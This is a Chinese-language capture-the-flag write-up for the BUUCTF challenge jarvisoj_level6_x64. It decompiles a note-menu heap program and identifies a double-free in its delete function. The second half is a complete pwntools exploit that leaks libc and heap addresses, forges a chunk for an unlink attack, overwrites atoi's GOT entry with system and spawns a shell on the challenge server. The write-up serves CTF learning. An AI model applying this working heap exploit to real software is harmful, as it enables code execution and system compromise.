buuctf jarvisoj_level6_x64

b4nd1t

jarvisoj_level6_x64

1.保护检查

1679543559944

2.源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_4009FD(a1, a2, a3);
sub_400A49();
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
show();
break;
case 2u:
add();
break;
case 3u:
edit();
break;
case 4u:
delete();
break;
case 5u:
puts("Bye");
return 0LL;
default:
puts("Invalid!");
break;
}
}
}

​ 经典的菜单题,增删查改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_QWORD *sub_400A49()
{
_QWORD *result; // rax
int i; // [rsp+Ch] [rbp-4h]

qword_6020A8 = (__int64)malloc(0x1810uLL);
*(_QWORD *)qword_6020A8 = 256LL;
result = (_QWORD *)qword_6020A8;
*(_QWORD *)(qword_6020A8 + 8) = 0LL;
for ( i = 0; i <= 255; ++i )
{
*(_QWORD *)(qword_6020A8 + 24LL * i + 16) = 0LL;
*(_QWORD *)(qword_6020A8 + 24LL * i + 24) = 0LL;
result = (_QWORD *)(qword_6020A8 + 24LL * i + 32);
*result = 0LL;
}
return result;
}

在最开始申请了一个较大的块存放后来申请的块的信息

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int add()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
void *v4; // [rsp+18h] [rbp-8h]

if ( *(_QWORD *)(qword_6020A8 + 8) < *(_QWORD *)qword_6020A8 )
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)qword_6020A8;
if ( i >= *(_QWORD *)qword_6020A8 )
break;
if ( !*(_QWORD *)(qword_6020A8 + 24LL * i + 16) )
{
printf("Length of new note: ");
v3 = sub_40094E();
if ( v3 > 0 )
{
if ( v3 > 4096 )
v3 = 4096;
v4 = malloc((128 - v3 % 128) % 128 + v3);
printf("Enter your note: ");
sub_40085D(v4, (unsigned int)v3);
*(_QWORD *)(qword_6020A8 + 24LL * i + 16) = 1LL;
*(_QWORD *)(qword_6020A8 + 24LL * i + 24) = v3;
*(_QWORD *)(qword_6020A8 + 24LL * i + 32) = v4;
++*(_QWORD *)(qword_6020A8 + 8);
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int edit()
{
__int64 v1; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Note number: ");
v3 = sub_40094E();
if ( v3 < 0 || v3 >= *(_QWORD *)qword_6020A8 || *(_QWORD *)(qword_6020A8 + 24LL * v3 + 16) != 1LL )
return puts("Invalid number!");
printf("Length of note: ");
v2 = sub_40094E();
if ( v2 <= 0 )
return puts("Invalid length!");
if ( v2 > 4096 )
v2 = 4096;
if ( v2 != *(_QWORD *)(qword_6020A8 + 24LL * v3 + 24) )
{
v1 = qword_6020A8;
*(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(qword_6020A8 + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
*(_QWORD *)(qword_6020A8 + 24LL * v3 + 24) = v2;
}
printf("Enter your note: ");
sub_40085D(*(_QWORD *)(qword_6020A8 + 24LL * v3 + 32), v2);
return puts("Done.");
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int delete()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( *(__int64 *)(qword_6020A8 + 8) <= 0 )
return puts("No notes yet.");
printf("Note number: ");
v1 = sub_40094E();
if ( v1 < 0 || v1 >= *(_QWORD *)qword_6020A8 )
return puts("Invalid number!");
--*(_QWORD *)(qword_6020A8 + 8);
*(_QWORD *)(qword_6020A8 + 24LL * v1 + 16) = 0LL;
*(_QWORD *)(qword_6020A8 + 24LL * v1 + 24) = 0LL;
free(*(void **)(qword_6020A8 + 24LL * v1 + 32));
return puts("Done.");
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int show()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]

if ( *(__int64 *)(qword_6020A8 + 8) <= 0 )
{
LODWORD(v0) = puts("You need to create some new notes first.");
}
else
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)qword_6020A8;
if ( (int)i >= *(_QWORD *)qword_6020A8 )
break;
if ( *(_QWORD *)(qword_6020A8 + 24LL * (int)i + 16) == 1LL )
printf("%d. %s\n", i, *(const char **)(qword_6020A8 + 24LL * (int)i + 32));
}
}
return v0;
}

漏洞点:在delete中free后没有进行置0,而且delete函数中没有对该块是否free进行检查,所以会造成double free等操作。

思路:最初可以通过free再申请的然后再show的操作进行libc和heap地址的泄露,然后伪造堆块进行ulink操作,就会在ptr位置写入ptr-18,把atoi_got写入前面的大堆块中,进行edit操作把system函数的地址写入atoi_got,在之后输入/bin/sh即可拿到shell。

3.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./buu")
p = remote('node4.buuoj.cn',25461)
libc = ELF("u1664.so")
atoi_got = 0x602070
def add(size,content):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Length of new note: ",str(size))
p.sendafter("Enter your note: ",content)
def show():
p.sendlineafter("Your choice: ","1")
def edit(index,size,content):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Note number: ",str(index))
p.sendlineafter("Length of note: ",str(size))
p.sendafter("Enter your note: ",content)
def delete(index):
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Note number: ",str(index))
def debug():
gdb.attach(p)
payload = 'a'*0x80
add(0x80,payload)
add(0x80,payload)
add(0x80,payload)
add(0x80,payload)
delete(1)
add(8,'b'*8)
show()
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
print(hex(libcbase))
system_addr = libcbase + libc.sym['system']
delete(0)
delete(2)
add(8,'c'*8)
show()
p.recvuntil('c'*8)
heap_addr = u64(p.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - 0x1940
print(hex(heap_addr))
add(0x80,payload)
delete(1)
payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + 'a'*0x60 + p64(0x80) + p64(0x90)
edit(0,0x90,payload)
delete(1)
payload = p64(2) + p64(1) + p64(0x8) + p64(atoi_got) + 'a'*0x70
edit(0,0x90,payload)
payload = p64(system_addr)
edit(0,8,payload)
p.recv()
p.sendline("/bin/sh\x00")
#debug()
p.interactive()

1679575192584

此页目录
buuctf jarvisoj_level6_x64